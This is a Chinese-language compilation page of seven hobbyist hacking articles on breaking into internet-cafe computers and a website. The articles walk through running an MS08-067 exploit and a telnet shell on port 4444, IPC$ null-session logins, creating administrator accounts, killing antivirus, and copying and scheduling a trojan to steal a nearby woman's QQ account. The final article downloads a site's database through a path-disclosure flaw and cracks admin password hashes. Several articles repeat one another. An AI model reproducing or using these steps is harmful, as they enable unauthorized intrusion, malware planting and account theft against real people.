网吧入侵文章

时间:2025年03月15日

/

来源:爱琴琳

/

编辑:本站小编

收藏本文

下载本文

下面是小编为大家整理的网吧入侵文章,本文共7篇,仅供大家参考借鉴,希望大家喜欢!本文原稿由网友“爱琴琳”提供。

篇1:网吧入侵文章

有时候无聊,喜欢到网吧去玩游戏,

游戏玩无聊了,就给那个网吧做了一个非常低级的安全检测。

我个人认为,要入侵一个指定的对象,首先要确定对方开启了那些端口,在进行下一步。

在网吧,打开CMD,netstat -an  结果一看,  开启了135,445,=====  的一些端口。

那个时候445抓鸡比较厉害,主要是利用ms08067这个漏洞进行入侵的。

然后自己就去网上下载了一个ms08067的一个在DOSS下执行的exe文件。

然后右击我的电脑-管理-计算机管理-连接点另一台计算机-浏览-高级-立即查找,就能看到可以连接的电脑,

直接用ping命令ping计算机名,得到陆游IP。

现在我们下的那个ms08067的那个软件就可以派上用场了,在CMD下进入C盘根目录,直接利用命令ms08067 192.168.X.X 进行连接,通常回出现4种情况`!

SMB Connect OK!

RpcExceptionCode = 1722

表明目标开了防火墙,溢出失败,

SMB Connect OK!

Maybe Patched!

表明目标已经打上补丁了。

Make SMB Connection error:1203

表明目标没有开启Server、Workstation、Computer Browser其中的任何一种服务。

Make SMB Connection error:53

表明目标没开445端口或本地网络问题

还好我运气好,网吧主机够烂,被我连接上了。

然后再telnet 192.168.x.x 4444

顺利得到CMD权限,得到CMD权限创建拥护,共享。  紧接着再用阿D工具包,把木马植入主机。 接下来该怎么做我想不需要我多讲了。

经过这样一个过程,就入侵了一个非常垃圾的网吧主机。

篇2:网吧入侵常用命令

第一步:先要确定MM所用电脑的IP,网吧电脑的编号和IP地址通常是相同或是高一位,比如网吧中编号为20的电脑,IP一般是192,168。0。20或192。168。0。21(192。168。0。1留给路由器),不仅如此,机器名也有规律,20号电脑的机器名通常是Wangba20,这样只要知道了MM用的电脑,再进入到“命令提示符”,PingWangba20就可以得到IP地址,比如192。168。0。20。

第二步:有了IP,就可以开始连接上MM的电脑了,由于网吧内的电脑多使用没有打过补丁的Windows,而且登录电脑的用户名也多是“user编号”的形式空密码形式,所以在“命令提示符”下输入netuse//192。168。0。20/ipc$“”/user:“”及netuse//192。168。0。20/ipc$“”/user:“user20”命令建立连接。

连接成功后,就要关闭对方电脑中的杀毒软件了,右击“我的电脑”,选择“管理”,在弹出窗口中右击“计算机管理(本地)”,选择“连接到另一台计算机”,连接至192。168。0。20,启动“Telnet”服务(“计算机管理”可以直接管理远程电脑)。

第三步:在“命令提示符”下输入两条命令在本机新建user20用户并将它添加到管理员组,

netuseruser20/add

netlocalgroupadministratorsuser20/add

第四步:进入到C:\\Winnt\\System32,右击CMD。EXE,选择“创建快捷方式”,然后右击新建的快捷方式,选择“属性”,勾选“以其他用户身份运行”(以其他用户身份运行程序)。运行快捷方式CMD,弹出“以其他用户身份运行”窗口后,输入“user20”回车。

第五步:用telnet192。168。0。20登录至MM的电脑,再从网上下载一个命令行下杀进程的软件,如knlps等,在telnet上将杀毒软件的进程关闭。

第六步:现在就可以下载一个木马,用“copy木马名。exe//192。168。0。20/admin$”的方法将木马复制到MM的电脑上。再用nettime//192。168。0。20得到MM电脑的时间,比如是下午4点,最后用“at//192。168。0。20时间木马名。exe”,如“at//192。168。0。:02木马名。exe”命令在指定时间运行木马。

有了木马了,自然就能知道MM用的QQ号啦。

怎么样,网吧里面是不是很危险?不过你放心,并不是所有的网吧都这样,大部分网吧还是非常安全的,只要你在使用QQ或其他软件时,选择“网吧模式”就可以了(点击“高级设置”后出现“登录模式”选项)。

篇3:网吧入侵全攻略

好久都没来网吧了.今天一朋友来找我.外面有下着雪.实在没地方玩.又给溜进了网吧...

在以前家里没买电脑时.整天都泡这网吧..所以对他的系统设置什么还了解点.都大半年没来了...不知道有啥变化..

这网吧还不错.别的网吧都是无盘的或者就是98的.这里98和2000都有..呵...搞入侵可方便了....

无意的看到13号坐着两MM...嘻....入侵也由此开始了.看能不能拿到MM的QQ号.....偶也找了一2000系统的机器做下..(偶找了一角落.呵.这样比较安全点..)

打开偶可爱的CMD..先net name下看看本机情况

WANGLU05

USER2000

命令成功完成,

我本机名是WANGLU05.ping下看看IP有无什么规则

Pinging wanglu05 [192.168.0.13] with 32 bytes of data:

Reply from 192.168.0.13: bytes=32 time<10ms TTL=64

Reply from 192.168.0.13: bytes=32 time<10ms TTL=64

Reply from 192.168.0.13: bytes=32 time<10ms TTL=64

Reply from 192.168.0.13: bytes=32 time<10ms TTL=64

IP是改了.记的以前是有一种规则的.比如我5号把.内网IP就是192.168.0.5.

这次MM在13号..IP就不能猜了...不过网吧机器名可是一样的...有路了.

Pinging WANGLU13 [192.168.0.225] with 32 bytes of data:

Reply from 192.168.0.225: bytes=32 time<10ms TTL=128

Reply from 192.168.0.225: bytes=32 time<10ms TTL=128

Reply from 192.168.0.225: bytes=32 time<10ms TTL=128

得到内网IP是192.168.0.225...偶记的以前是存在默认共享的..这次换了网管不知道他有没做防范措施....从这入手....

net use //192.168.0.225/ipc$ “” /user:“” 空连接成功..说明ipc$默认共享还在...

只是没权限...网吧的登陆用户全是一样的.而且密码为空.又让我给钻了空子.

G:/>net use //192.168.0.225/ipc$ “” /user:“user04”

命令成功完成,

网吧系统盘为G盘.接着映射对方G盘为我本地Z盘.

G:/>net use z: //192.168.0.225/g$

命令成功完成。

篇4:网吧内如何入侵别人电脑

现在网吧管理软件有很多,但大多有这样或那样的漏洞,于是就出现了很多解除网吧软件和网吧软件解除技巧,可以免费上网,可以使用“命令提示符”方式,可以使用管理员权限等等。于是网吧也成了虚拟财产丢失最严重的地方。但只要网吧管理员的水平足够还是能够避免这种情况发生的。告诉你我以前还在网吧是如何得到MMQQ号的技巧吧,有点复杂,主要是让你了解一些黑客入侵时所用到的命令。

第一步:先要确定MM所用电脑的IP,网吧电脑的编号和IP地址通常是相同或是高一位,比如网吧中编号为20的电脑,IP一般是192.168.0.20或192.168.0.21(192.168.0.1留给路由器),不仅如此,机器名也有规律,20号电脑的机器名通常是Wangba20,这样只要知道了MM用的电脑,再进入到“命令提示符”,Ping Wangba20就可以得到IP地址,比如192.168.0.20。

第二步:有了IP,就可以开始连接上MM的电脑了,由于网吧内的电脑多使用没有打过补丁的Windows ,而且登录电脑的用户名也多是“user编号”的形式空密码形式,所以在“命令提示符”下输入net use //192.168.0.20/ipc$ “” /user:“”及net use //192.168.0.20/ipc$ “” /user:“user20”命令建立连接。

连接成功后,就要关闭对方电脑中的杀毒软件了,右击“我的电脑”,选择“管理”,在弹出窗口中右击“计算机管理(本地)”,选择“连接到另一台计算机”,连接至192.168.0.20,启动“Telnet”服务(见图1)(图1 “计算机管理”可以直接管理远程电脑)。

第三步:在“命令提示符”下输入两条命令在本机新建user20用户并将它添加到管理员组。

net user user20 /add

net localgroup administrators user20 /add

第四步:进入到C:\\Winnt\\System32,右击CMD.EXE,选择“创建快捷方式”,然后右击新建的快捷方式,选择“属性”,勾选“以其他用户身份运行”(见图2)(图2 以其他用户身份运行程序)。运行快捷方式CMD,弹出“以其他用户身份运行”窗口后,输入“user20”回车。

第五步:用telnet 192.168.0.20登录至MM的电脑,再从网上下载一个命令行下杀进程的软件,如knlps等,在telnet上将杀毒软件的进程关闭。

第六步:现在就可以下载一个木马,用“copy 木马名.exe //192.168.0.20/admin$”的方法将木马复制到MM的电脑上。再用net time //192.168.0.20

得到MM电脑的时间,比如是下午4点,最后用“at //192.168.0.20 时间 木马名.exe”,如“at //192.168.0.20 16:02 木马名.exe”命令在指定时间运行木马。

有了木马了,自然就能知道MM用的QQ号啦。

怎么样,网吧里面是不是很危险?不过你放心,并不是所有的网吧都这样,大部分网吧还是非常安全的,只要你在使用QQ或其他软件时,选择“网吧模式”就可以了(见图3)(图3 点击“高级设置”后出现“登录模式”选项)。

篇5:如何入侵网吧主机WIN2000及NT

WIN2000 首先下载个扫描器,随便扫扫看开了那些端口了,一般只打开139口和135不过试试总是好,说不准有个弱网管还在自己的主机上种个什么马的,

如何入侵网吧主机WIN2000及NT

如果不想下载工具的同志们,可以去SKY.NET.CN这个网站去在线扫下也可以,先扫端口,还后再看它的主机信息,如果

篇6:网吧入侵过程全方位剖析

在以前家里没买电脑时,整天都泡这网吧,所以对他的系统设置什么还了解点,都大半年没来了……不知道有啥变化……

这网吧还不错.别的网吧都是无盘的或者就是98的.这里98和都有,呵.,搞入侵可方便了……

无意的看到13号坐着两MM,嘻.……入侵也由此开始了,看能不能拿到MM的QQ号……偶也找了一2000系统的机器做下,(偶找了一角落.呵.

这样比较安全点..)

打开偶可爱的CMD..先net name下看看本机情况

WANGLU05USER2000

命令成功完成。

我本机名是WANGLU05.ping下看看IP有无什么规则

Pinging wanglu05 [192.168.0.13] with 32 bytes of data:

Reply from 192.168.0.13: bytes=32 time<10ms TTL=64

Reply from 192.168.0.13: bytes=32 time<10ms TTL=64

Reply from 192.168.0.13: bytes=32 time<10ms TTL=64

Reply from 192.168.0.13: bytes=32 time<10ms TTL=64

IP是改了.记的以前是有一种规则的.比如我5号把.内网IP就是192.168.0.5.

这次MM在13号..IP就不能猜了...不过网吧机器名可是一样的...有路了.

Pinging WANGLU13 [192.168.0.225] with 32 bytes of data:

Reply from 192.168.0.225: bytes=32 time<10ms TTL=128

Reply from 192.168.0.225: bytes=32 time<10ms TTL=128

Reply from 192.168.0.225: bytes=32 time<10ms TTL=128

得到内网IP是192.168.0.225...偶记的以前是存在默认共享的..这次换了网管不知道他有没做防范措施....从这入手....

net use //192.168.0.225/ipc$ “” /user:“” 空连接成功..说明ipc$默认共享还在...

只是没权限...网吧的登陆用户全是一样的.而且密码为空.又让我给钻了空子.

G:/>net use //192.168.0.225/ipc$ “” /user:“user04”

篇7:动力文章系统入侵

作者: 剑三少  转自黑基bbs原创精华版

偶然从某杂志上看到动力文章管理系统有漏洞,特通宵作个试验,想不到还真行了,。。。。。(开工前,请先把Internet选项\\高级选项中的“显示友好HTTP错误信息”前的勾去掉)

1、首先打个baidu搜索了一下,关键字是:动力文章声明,立刻就刷了一大片出来。随便点击一个网站。。。进去了。

2、回到这个网站的主页,随意点开一篇文章,在URL地址最后输入一引号(例如:_blank>1234.net/hacker/bbb.asp?ArticleID=111'),出现了如下信息:

运行时错误 错误 '800a000d'

类型不匹配: 'Clng'

/hacker/Inc/syscode.asp,行44

3、现在再把hacker/Inc/syscode.asp复制进URL的地址中,就变成了:_blank>1234.net/hacker/Inc/syscode.asp,回车后,又出现了错误消息,如下:

Microsoft JET Database Engine 错误 '80004005'

'E:\\my\\1234.net\\hacker\\Inc\\database\\yiuwekdsodksldfslwifds.mdb'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器,

/hackerer/Inc/conn.asp,行8

4、随后,再次把database\\yiuwekdsodksldfslwifds.mdb粘贴到URL地址里,变为:_blank>1234.net/hacker/Inc\\database\\yiuwekdsodksldfslwifds.mdb,回车后,奇迹出现了,机器正在下载着什么,对了,就是它的ACCESS数据库,保存着该站几乎所有的数据,当然最主要的当数admin表了,有了它,你就可以控制该站后台了。

5、不过,别急,还有一件事件没做,就是得把下下来的数据库给打开,机器带ACCESS程序的朋友就不用愁了,可一般在网吧可没有什么office之类的。。。。。没关系,网络中什么都有,关键是看你怎么去找啦。。。。用ModifyMdb.exe程序就可把数据库打开,下载地址:_7035.html\" target=_blank>www.chinareg.net/SoftView/SoftView_7035.html

(得安装,不过很快)

6、呵呵,等终于把库文件打开了,又一项烦事来了,原来admin表中的password字段值是加密的,别怕,一物降一物,得用上md5.exe了,不过md5是属于暴力型的,假如碰上哪个网管把密码设得有特殊字符或者是很长,那得多等一会了。。。。。

7、。。。。等了半个小时,还好,我弄到的这个密码不是很长,而且都是纯数字,呼呼,上吧,管理员登陆,行了,上去了,我就到后台忙了一阵,不过绝对没搞破坏。。。。。呵呵。。。。

打了这么多字,手有点酸(其实是刚才打CS打的,嘿嘿)。由于这是本人第一次写这种黑术方面的材料,文中难免有些错字和不清楚的地方,希望广大朋友能够谅解,也请大家提点建议,或者有什么不明白的还可以回贴探讨。

有关的原理也不在这里罗嗦了,只要搜一下:爆库,就知道是咋回事了。。。。由于时间仓促,几个截图没弄出来,抱歉,凑合看吧。

一次入侵检测

网吧经理岗位职责

去网吧检讨书

网吧收银员岗位职责

网吧个人总结

下载网吧入侵文章(共7篇)
网吧入侵文章.doc
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档
点击下载本文文档